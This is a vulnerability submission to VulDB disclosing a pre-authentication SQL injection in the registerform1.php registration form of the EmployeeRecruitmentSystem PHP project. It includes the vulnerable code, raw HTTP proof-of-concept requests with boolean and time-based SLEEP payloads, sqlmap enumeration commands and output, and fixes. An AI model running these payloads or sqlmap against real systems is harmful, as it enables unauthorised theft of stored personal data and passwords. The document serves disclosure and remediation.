| Title | github.com Employee Recruitment System V1.0 SQL Injection |
|---|
| Description | # krupalshah EmployeeRecruitmentSystem V1.0 /source/registerform1.php SQL injection
# Project OF AFFECTED PRODUCT(S)
- EmployeeRecruitmentSystem
## Vendor Homepage
- https://github.com/krupalshah/EmployeeRecruitmentSystem
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- lql120
## Vulnerable File
- /source/registerform1.php
## VERSION(S)
- V1.0 (master branch, no version tags; repository marked "This project is no longer maintained" by the original vendor since 2016)
## Software Link
- https://github.com/krupalshah/EmployeeRecruitmentSystem
# PROBLEM TYPE
## Vulnerability Type
- SQL injection (boolean-based blind + time-based blind; error-based not reflected)
## Root Cause
- A SQL injection vulnerability was found in the 'source/registerform1.php' file (step 1 of the multi-page registration wizard) of the 'EmployeeRecruitmentSystem' project. The file takes nine POST parameters (`firstname`, `middlename`, `lastname`, `gender`, `birthdate`, `state`, `statespecify`, `city`, `cityspecify`) and concatenates them directly into an `INSERT` statement without any sanitisation, prepared statement or escaping. The `firstname` parameter (and all nine) is the injection point. The endpoint is reachable without any session or login.
The vulnerable code (source/registerform1.php, lines 5–18):
```php
$firstname = $_POST['firstname'];
$middlename = $_POST['middlename'];
$lastname = $_POST['lastname'];
$gender = $_POST['gender'];
$birthdate = $_POST['birthdate'];
$state = $_POST['state'];
$statespecify = $_POST['statespecify'];
$city = $_POST['city'];
$cityspecify = $_POST['cityspecify'];
$query = "INSERT INTO `personal` (firstname, middlename,lastname,gender,birthdate,state,statespecify,city,cityspecify) VALUES ('$firstname', '$middlename', '$lastname', '$gender', '$birthdate', '$state', '$statespecify', '$city', '$cityspecify')";
$result = mysql_query($query);
```
## Impact
- An unauthenticated remote attacker can manipulate `firstname` (or any of the nine parameters) to break out of the string literal and inject arbitrary SQL. The observable effect is a reliable boolean oracle: a clean insert returns HTTP 302 redirect to `register2.php`, whereas an injected value that breaks the SQL returns HTTP 200 with a "Database error" message. A `SLEEP()` payload inside the value triggers a measurable time delay (time-based blind), allowing full blind extraction of the entire database (candidate e-mails, plaintext passwords, requirements, etc.) without authentication.
# DESCRIPTION
- During the security review of "EmployeeRecruitmentSystem" I discovered a critical, pre-authentication SQL injection vulnerability in the 'source/registerform1.php' file (the public registration wizard, step 1). The vulnerability stems from insufficient validation of the POST parameters, which are interpolated directly into an unparameterised `mysql_query` `INSERT` statement. Because the registration endpoint is reachable without any authentication, an unauthenticated remote attacker can inject SQL and read (and even write) the underlying MySQL/MariaDB database. Immediate remediation is needed to ensure system security and protect data integrity.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability location:
- POST parameter 'firstname' (and `middlename`, `lastname`, `gender`, `birthdate`, `state`, `statespecify`, `city`, `cityspecify`) in `source/registerform1.php` — the public registration wizard, reachable without authentication.
## Proof-of-Concept (raw PoC commands, unauthenticated)
```
# 1) Boolean oracle — clean insert -> 302 redirect to register2.php
POST /source/registerform1.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
firstname=Bob&middlename=A&lastname=C&gender=M&birthdate=1990-01-01&state=X&statespecify=X&city=X&cityspecify=X -> HTTP 302
# Injected/broken value -> query fails -> 200 "Database error"
firstname=x'&middlename=A&lastname=C&gender=M&birthdate=1990-01-01&state=X&statespecify=X&city=X&cityspecify=X -> HTTP 200
# 2) Time-based blind — SLEEP inside the value (balanced so the appended values stay valid)
firstname=x' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Alov) AND 'x'='x&middlename=A&lastname=C&gender=M&birthdate=1990-01-01&state=X&statespecify=X&city=X&cityspecify=X
# Response is delayed by ~5 seconds
```
## sqlmap — full database enumeration (unauthenticated, time-based blind)
```bash
python sqlmap.py -u "http://127.0.0.1:8082/source/registerform1.php" \
--data="firstname=Bob&middlename=A&lastname=C&gender=M&birthdate=1990-01-01&state=X&statespecify=X&city=X&cityspecify=X" -p firstname \
--dbs --batch --time-sec=2 --threads=1 --level=3 --risk=2
```
```
---
Parameter: firstname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: firstname=Bob' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Alov) AND 'x'='x&middlename=...&...
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [7]:
[*] hms
[*] information_schema
[*] mysql
[*] ornament
[*] performance_schema
[*] recruitment
[*] test
```
## The following are screenshots of specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -u "http://127.0.0.1:8082/source/registerform1.php" \
--data="firstname=Bob&middlename=A&lastname=C&gender=M&birthdate=1990-01-01&state=X&statespecify=X&city=X&cityspecify=X" -p firstname --dbs
```
<img width="1722" height="1008" alt="Image" src="https://github.com/user-attachments/assets/32d17345-ff70-4ac6-833e-e3fe84f27e19" />
# Suggested repair
1. **Use prepared statements and parameter binding:** Replace the raw `mysql_query` INSERT with `mysqli`/`PDO` prepared statements and bind all nine parameters. Never interpolate user input into SQL text.
2. **Input validation:** Validate each field against an expected type/format (names as non-SQL text, dates, enums) before the query runs.
3. **Generic error handling:** Do not disclose "Database error" details; return a uniform message and log the exception server-side.
4. **Minimize database user permissions** and **regularly audit** the other `mysql_query` endpoints (`loginprocessing.php`, `authprocessing.php`, `registerform2.php`, `registerform3.php`, `reqformprocessing.php`). |
|---|
| Source | ⚠️ https://github.com/ubfbuz3/cve/issues/59 |
|---|
| User | lql120 (UID 82139) |
|---|
| Submission | 09/23/2026 04:04 (1 month ago) |
|---|
| Moderation | 10/24/2026 16:34 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 426130 [krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe Registration registerform1.php mysql_query sql injection] |
|---|
| Points | 20 |
|---|